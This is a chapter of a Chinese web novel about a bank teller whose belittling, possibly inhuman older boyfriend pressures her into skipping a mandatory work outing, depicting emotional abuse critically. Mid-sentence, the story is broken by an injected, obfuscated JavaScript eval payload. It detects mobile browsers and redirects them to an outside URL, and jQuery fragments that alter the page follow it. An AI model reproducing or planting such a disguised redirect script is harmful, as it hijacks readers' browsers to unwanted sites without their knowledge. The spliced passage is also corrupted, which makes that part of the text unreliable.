第六章抓住
一
星期五下午四点五十，陈默开始收拾东西。
工位上的文件夹归拢，签字笔插回笔筒，水杯洗了扣在杯架上。她做这些事的时候没什么表情，动作很慢，像一台设定好程序的机器。
电脑还没关。她盯着屏幕，等最后那笔业务办完的回执打印出来。
打印机吱吱嘎嘎响着，窗外透进来的光是那种周五下午特有的光——有点懒，有点软，让人觉得再坚持十分钟就能熬到周末了。
窗口外面已经没有客户了。大厅里空空荡荡，老周靠在门边打盹，空调嗡嗡响着，整个网点像一艘搁浅的船。
陈默盯着屏幕右下角的时间。
16:51。
还有九分钟。
九分钟就能下班了。九分钟就能回家了。九分钟就能躺到床上，什么都不想，什么都不干，就那么躺着。
她这两天累坏了。
不是身体累，是那种说不出来的累——心里堵着一团东西，吐不出来，咽不下去，就那么堵着。从那天被客户骂开始，从妈妈打那个电话开始，从发现他可能真的从来不洗澡开始，那团东西就一直堵着。
她试过深呼吸，没用。试过喝水，没用。试过告诉自己“别想太多”，更没用。
那团东西就在那儿。
压着她。
她盯着屏幕，盯着那行时间。
16:52。
打印机吐出最后一张回执，她撕下来，夹进文件夹里，正要关电脑——
手机震了。
工作群。
她点开。
@所有人明天早上九点，行里集合。行领导组织外拓，全员参加，不得请假。
陈默盯着那行字，看了五秒。
明天早上九点。
周六。
外拓。
不得请假。
她慢慢把手机放下，盯着电脑屏幕。屏幕已经黑了，进入待机状态，只看得见自己的影子——一个模糊的人影，坐在那儿，一动不动。
她想起上周的外拓。穿着行服，站在商场门口，发传单，拉人办信用卡。站了六个小时，脚肿了一圈，办了四张卡，其中三张还是老张帮忙塞的。
这周又去。
下周还去。
每个月都去。
永远都去。
她叹了口气，把手机塞进口袋，站起来，拿起包，往外走。
老周在门口换班，看见她出来，打了个招呼。
“陈默，周末愉快啊。”
陈默点点头。
“嗯，周末愉快。”
她走出银行大门，天还亮着，太阳往西沉，把整条街染成橘红色。那团脏黄色的云早就散了，这几天都没再出现过，天是正常的天，蓝的，白的，该什么样就什么样。
但她总觉得有什么不对。
说不上来。
就是不对。
二
到家六点二十。
开门，开灯，客厅空的。
沙发垫上那个印子还在，但浅了一点，像是慢慢在恢复。她站在门口看了两眼，换鞋，放下包，走进卧室。
在床上坐了一会儿。
窗外能听见楼下的声音——小孩在跑，大人喊吃饭，自行车铃铛响。这些声音她听了三年，早就习惯了。以前不觉得有什么，今天听着，突然觉得那些声音离她很遥远。
她是住在这儿，但她不属于这儿。
她不知道自己属于哪儿。
坐了一会儿，她站起来，走进浴室，打开花洒。
热水冲下来的时候，她闭着眼，站在花洒下面，一动不动。水从头顶流到脚底，哗哗的声音盖住一切，她什么都不用想。
她想起规则第四条——真正的他，从不洗澡。
她想起王志强那天晚上的反应——你又不是不知道，我从来不在晚上洗澡。
她想起这几天观察到的——毛巾永远是干的，沐浴露刻度线没动过，地漏没有头发。
她想起那天早上，他说他早上洗，但她等了一早上，什么都没等到。
水还在冲。
她睁开眼，低头看自己的手。
手被热水冲得发红，皱巴巴的。
她突然想：我每天洗澡，我是人吗？
当然是。
但为什么她越来越不确定了？
关掉水，擦干，换好衣服，走出浴室。
客厅里还是空的。
窗外的天已经黑了，路灯亮着，把树影投在窗帘上，一晃一晃。
她坐在沙发上，拿起手机，看了一眼工作群。
没有新消息。
明天早上九点，外拓。
她把手机放下，靠着沙发，闭上眼。
脑子里乱七八糟的东西又开始往外冒。
明天的外拓。周行长的脸。那个扔纸的客户。妈妈说的那些话。王志强的眼睛。沙发垫上的印子。那瓶没动过的沐浴露。
还有那张纸条。
真正的他，从不洗澡。
她闭着眼，靠在沙发上，听窗外的声音。小孩不跑了，大人不喊了，只有偶尔路过的车声，嗡一声过去，又安静下来。
她快睡着的时候，门响了。
三
钥匙捅进锁孔的声音，拧开，推门。
陈默睁开眼，坐起来。
王志强走进来，手里拎着个塑料袋，不知道是什么，往茶几上一扔。然后他弯腰，把脚上的袜子一扯——扔在地上。再站起来，把外套脱了——扔在沙发上。衬衫解开两颗扣子，一屁股坐进沙发里，沙发发出一声闷响。
“倒洗脚水。”
陈默愣了一下。
“现在？”
“废话，不现在什么时候？我累一天了。”
陈默看着他。
他确实像累了一天。脸有点红，眼睛有点肿，衬衫皱巴巴的，身上一股酒味、烟味还有不属于她的香水味混在一起的味道。啤酒肚挺着，领口敞着，头发乱糟糟的。
她站起来，走进卫生间，拿盆，接水。
热水兑冷水，手伸进去试了试，温的。她觉得应该差不多了，端着盆走出来，放在沙发前面。
王志强把脚伸进去。
刚沾到水，他就皱起眉头。
“这什么水？”
“洗脚水啊。”
“你管这叫洗脚水？”他把脚抽出来，水溅了一地，“温不拉几的，洗什么脚？重倒，要烫的。”
陈默低头看地上的水，又看他。
溅出来的水在瓷砖上漫开，一小片，映着天花板的灯。
“烫的？”她问。
“烫的。听不懂？”
她端起盆，走进卫生间，把水倒了，重新接。这次没兑冷水，直接开热水，烫得她手指一缩。她忍着烫，把盆端出去，放在他面前。
王志强把脚伸进去。
这回没说话。
泡了三秒，他开口了。
“饭呢？”
陈默站着。
“没做。”
“没做？”他抬起头看她，“几点了？你回来半天了，饭都不做？”
“我……我刚洗完澡。”
“洗完澡就不能做饭了？你洗完澡手断了？”
陈默没说话。
王志强把脚从盆里抽出来，往沙发背上一靠，盯着她。
“陈默，你看看这屋里，脏成什么样了？地上这水——我刚弄洒的，行，算我的。但你看这茶几，这灰，这沙发上的衣服——你就不知道收一下？你就知道躺那儿玩手机？”
陈默顺着他的目光看过去。
茶几上确实有灰，薄薄一层。沙发上的衣服是他自己刚扔的。地上那滩水也是他弄洒的。
但她没说话。
王志强继续说。
“你说你一天到晚在银行坐着，能有多累？我外面跑一天，回来连口热饭都吃不上，还要自己端洗脚水——端了还是凉的。你说你会干什么？”
陈默站着，盯着地板。
地板上有水，映着天花板的灯，亮晶晶一小片。
“我每天回来，”王志强的声音越来越高，“累得跟狗一样，就想回家吃口热饭，洗个热水脚，躺下歇着。你呢？你干什么了？你就躺那儿等我回来伺候我？”
陈默攥紧手指。
“我没让你伺候——”
“你没让？你什么都没干，不就是让我伺候吗？”他指着地上的盆，“这水，是我让你端的吧？饭，是我让你做的吧？你自己看看，你干成什么了？”
陈默张了张嘴，又闭上。
她不知道该说什么。
他说的是事实。水是她端的，饭她没做，屋里确实有点乱。但她刚下班，刚洗完澡，还没来得及——
来不及什么？
她也不知道。
他说完了。
客厅里安静下来。
只有空调嗡嗡的声音，和窗外偶尔路过的车声。
陈默还站着。
她不知道该说什么，该做什么。她只知道不能动，一动就可能出错，一出错他就会继续说，继续说下去她可能撑不住。
王志强盯着她看了几秒，然后收回目光，把脚重新伸进盆里。
热水冒着微微的热气。
他泡着脚，靠在沙发上，眼睛半闭着，像在享受。
陈默站着，不知道该走还是该留。
这时候，他又开口了。
“还有你这脸。”
陈默愣了一下。
王志强睁开眼，上下打量她。
“你自己照镜子看过没有？眼袋多重你知道吗？比刚认识你的时候胖了一圈吧？还有这痘——你脸上什么时候长过痘？”
陈默下意识抬手摸了一下脸。
下巴那里，确实有几颗痘，这几天长的。她自己也看见了，但没在意。
“你看看你，”王志强摇头，“跟三年前比，老了不止一星半点。人家找女朋友，都找年轻漂亮的。我找了你，你呢？你就这么给我长脸？”
陈默的手停在脸上。
老了。
他说她老了。
三年前她二十五，现在二十八。三年而已。
但他说的不是三年，是老了。
“你知道我那些哥们怎么说吗？”王志强继续，“他们问，你女朋友呢？怎么不带出来？我说，她啊，在家待着呢。他们问，漂亮吗？我说，还行吧。你知道什么叫‘还行吧’？就是拿不出手！”
陈默攥紧手指。
“你看看你自己，”他上下打量她，“穿的什么玩意儿？这睡衣，你穿三年了吧？领口都松了，还穿。头发，你就不能收拾一下？乱成什么样了？还有你这脸色，蜡黄蜡黄的，跟营养不良似的。”
他越说越起劲。
“我跟你讲，陈默，你别不知好歹。我外面多少人想跟我，我都看不上。你倒好，让你干点活你就摆个脸。你以为你是谁？”
陈默站着，一动不动。
她盯着地板上的那滩水。
水在慢慢变干，边缘已经有点干了，中间还有一小片亮晶晶的。
“我供你吃，供你住，供你花，”王志强的声音像钝刀子一样割过来，“你呢？你给我什么了？饭不会做，活不会干，脸还越来越老。你说我要你干什么？”
他说完了。
把脚从盆里抽出来，往地上一放。
“擦脚。”
陈默蹲下去，拿过毛巾，给他擦脚。
毛巾是干的，吸了水就变深色。她擦完一只，换另一只，动作很慢，很轻。
王志强低头看着她。
她感觉到他的目光，但没抬头。
擦完了。
她端着盆站起来，走进卫生间，把水倒了，盆放好，毛巾挂好。
走出来的时候，王志强已经躺在沙发上了，闭着眼，像睡着了。
她站在客厅中央，看着那张沙发，看着那个躺在上面的人。
然后她走过去，把地上的水擦了。
水是凉的。沾在抹布上，洇开一片深色。她拧干，再擦，再拧干，直到地板恢复原来的颜色。
然后她把沙发上的衣服捡起来，搭在椅背上。
又拿抹布，把茶几擦了。
灰是薄薄一层，一抹就掉。抹布上留下一条灰印子，她拿到水龙头下冲干净，拧干，挂好。
做完这些，她站在客厅中央，不知道该干什么。
一切都收拾好了。
和她刚回来时一样。
和她每天回来时一样。
和她三年来的每一天一样。
她走进卧室。
躺在床上，盯着天花板。
四
天花板是白的，晚上关了灯就看不清，但有路灯的光漏进来，能看见一个模糊的轮廓。那个轮廓是她每天睡前都要看的，看三年了，闭着眼都能画出来。
但她今天盯着它，脑子里乱糟糟的。
他说她老了。
眼袋重。胖了。起痘了。老了。
他说她拿不出手。
他说别人想跟他，他都看不上。
他说她不知好歹。
她摸着自己的脸，想着刚认识的时候。那时候她二十五，皮肤还行，没有眼袋，下巴不长痘。他那时候对她还挺好的，没骂过，没嫌过，还会买早餐。
那时候她觉得他有本事。四十岁，有自己的工程公司，有车有房，说话办事都透着那种“过来人”的底气。她觉得跟着他，以后不用愁了。
现在呢？
三年。
三年她就老了。
那再过三年呢？三十一岁。再过六年呢？三十四岁。
她不敢想。
但她知道一件事——
她不能让他甩了她。
不能。
她三十了怎么办？三十五了怎么办？离开他，她能去哪？
回妈妈那儿？
妈妈那天晚上说的话，她现在还记得——下贱，玩物，就当没生过你。
她回不去了。
银行那点工资，够干什么？
她算过很多次。每个月到手六千出头，房租两千五，水电燃气两百，交通两百，吃饭一千五，电话费一百，乱七八糟的日用品三百——剩下一千出头。
这一千多，能干什么？
买件衣服就没了。生个病就没了。出点什么事就没了。
她在这个城市待了十年，存款不到两万。两万能干什么？交三个月房租？买张回老家的车票？
回老家能干什么？二十八岁，没结婚，没孩子，没存款，回老家干什么？听人说闲话？看人眼色？
她回不去。
朋友？早就不联系了。
家人？妈妈说了，当她死了。
她只有王志强。
只有这个嫌她老、嫌她胖、嫌她不会做饭的男人。
只有这个让她倒洗脚水、骂她不知好歹、说她拿不出手的男人。
只有这个从来不洗澡、沙发垫上永远有个印子、半夜会悄无声息消失的男人。
她必须抓住他。
不管他是什么。
不管他洗不洗澡。
不管他是不是人。
她必须抓住他。
正想着，卧室门开了。
王志强走进来，往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387618|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床上一躺。
床垫陷下去一块，陈默的身体跟着歪了一下。
他躺在那儿，背对着她，什么话都没说。
陈默侧过身，看着他的后背。
他穿着那件衬衫，没换。背上有点皱，光线暗，看不清有没有汗渍。
她张了张嘴。
“王志强。”
他没回头。
“嗯？”
“我……”
他翻了个身，面对着她。
黑暗里，他的眼睛亮了一下。
就一下。
她看见了。
“对了，明天有个哥们来，你和我一起去见一面。”
陈默愣了一下。
“明天？”
“嗯，中午。他正好来这边办事，一起吃个饭。你打扮一下，别给我丢人。”
陈默张了张嘴。
明天。
明天早上九点，外拓。
全员参加，不得请假。
周行长那张脸。工作群里那行字。商场门口站六个小时。发传单，拉人办信用卡。
“我……”
“怎么？”王志强看着她，“你有事？”
陈默看着他。
黑暗里，他的眼睛在反光。
不是正常的那种反光，是像猫、像狗、像什么夜里会发光的动物那种反光。
她见过这种光。
第一次是她数完三十秒开门的那天晚上。他站在门外，整个人在黑暗里，只有两只眼睛亮着。
后来再没见过。
现在又出现了。
他盯着她。
那两只发光的眼睛，就那么盯着她。
在等她的回答。
“我……”她说，“没事。”
王志强盯着她，看了两秒。
那两只眼睛还亮着。
“那就行。明天十一点出门，你早点准备。”
他翻过身，背对着她。
那两只眼睛的光消失了。
陈默躺着，盯着他的后背。
他背对着她，呼吸均匀，像什么都没发生过。
但那两只眼睛亮过。
她看见了。
不是幻觉。
是真的。
她慢慢从枕头底下摸出手机，打开微信，找到周行长的对话框。
屏幕的光刺得她眼睛疼。她眯着眼，开始打字。
“周行长，明天家里有急事，外拓请假。”
打完，盯着看。
家里有急事。什么急事？王志强的哥们来了，要去见一面，这叫急事？
她删掉。
“周行长，明天身体不舒服，去不了外拓。”
身体不舒服。怎么不舒服？说不出来。明天要是被看见在外面吃饭呢？周行长住得不远，万一碰见呢？
她删掉。
“周行长，明天——”
打不下去了。
她盯着屏幕，盯了很久。
王志强在旁边呼吸，一起一伏。那两只眼睛现在闭着，但她知道它们刚才睁着。盯着她。等她回答。
她闭上眼睛。
脑子里两个声音在打架。
一个说：你不能请假。周行长说了，不得请假。你请了，她怎么看你？你业绩本来就差，再请假，以后还怎么混？
另一个说：你必须去。王志强让你去。他要带你见朋友，这是好事。也许他想定下来了？也许他准备带你见父母了？你不能不去。
一个说：他算什么？他骂你，嫌你，说他外面有人想跟他。你还要去？
另一个说：你只有他了。
一个说：你没了他能死吗？
另一个说：不能死，但能活成什么样？
她不知道。
她真的不知道。
她睁开眼，又看手机。
屏幕还亮着，那行字还在那儿：“周行长，明天——”
她深吸一口气，把后面打全了。
“周行长，明天家里有急事，外拓请假。实在对不起。”
发送。
屏幕显示发送成功的那一刻，她盯着那行小字，盯了很久。
“发送成功”。
发了。
她把手机塞回枕头底下，闭上眼。
旁边王志强的呼吸还是那么均匀，一起一伏。他睡得很沉，什么都没听见。
她不知道他睡没睡着。
她也不知道自己明天会怎样。
但她知道一件事——
她发了那条微信。
为了抓住他。
为了不被甩。
为了三十岁的时候，还有地方可去。
她发了。
眼泪从眼角滑下来，流进耳朵里，痒痒的。
她没擦。
窗外路灯的光照进来，把天花板照成灰白色。
她盯着那片灰白，一直盯到天亮。
五
早上七点，手机震了。
陈默拿起来看。
周行长的回复：
“知道了。下次提前说。”
七个字。
没有问什么急事，没有说准不准，没有发火，没有批评。
就七个字。
知道了。下次提前说。
陈默盯着那七个字，盯了很久。
然后她把手机放下，起床，走进卫生间，洗脸，刷牙，化妆。
镜子里的自己，眼袋确实重。她用遮瑕盖了盖，盖不住。又盖一层，还是盖不住。
下巴那几颗痘，红红的，用粉底盖了，还是能看出来。
胖了。
她说不上来胖在哪，但就是胖了。脸圆了一点，腰粗了一点，整个人像被吹起来一点点。
老了。
她盯着镜子里的那个人。
那个人也盯着她。
她突然想起昨晚，王志强说她老了的时候，眼睛里那种光——不是发光，是别的东西。
是满意。
是那种“你越老越跑不掉”的满意。
她浑身发冷。
化完妆，换好衣服，她走出卫生间。
王志强已经起来了，坐在沙发上，拿着手机。
他抬头看她，上下打量了一眼。
“行，还行。”
还行。
不是“漂亮”，不是“好看”，是“还行”。
陈默点点头。
“什么时候出门？”
“十一点。你先收拾着，我出去一趟，十一点回来接你。”
他站起来，往外走。
走到门口，他回头看了她一眼。
“打扮精神点，别给我丢人。”
门关上了。
陈默站在客厅里，看着那扇门。
门关着，他走了。
她站在那儿，不知道自己在想什么。
然后她走进卧室，坐在床上，等十一点。
窗外阳光很好。
周六的早上，外面有人在遛狗，有人在跑步，有小孩在笑。
她坐在床上，听着那些声音，一动不动。
手机放在旁边，屏幕黑着。
周行长的回复她看了很多遍。
知道了。下次提前说。
下次。
还有下次吗？
她不知道。
她只知道现在，她要等十一点，等王志强回来，等去见他的哥们，等打扮精神点，等别给他丢人。
她等着。
一直等着。
窗外阳光越来越亮。
她坐在那片阳光里，一动不动。
---
第六章完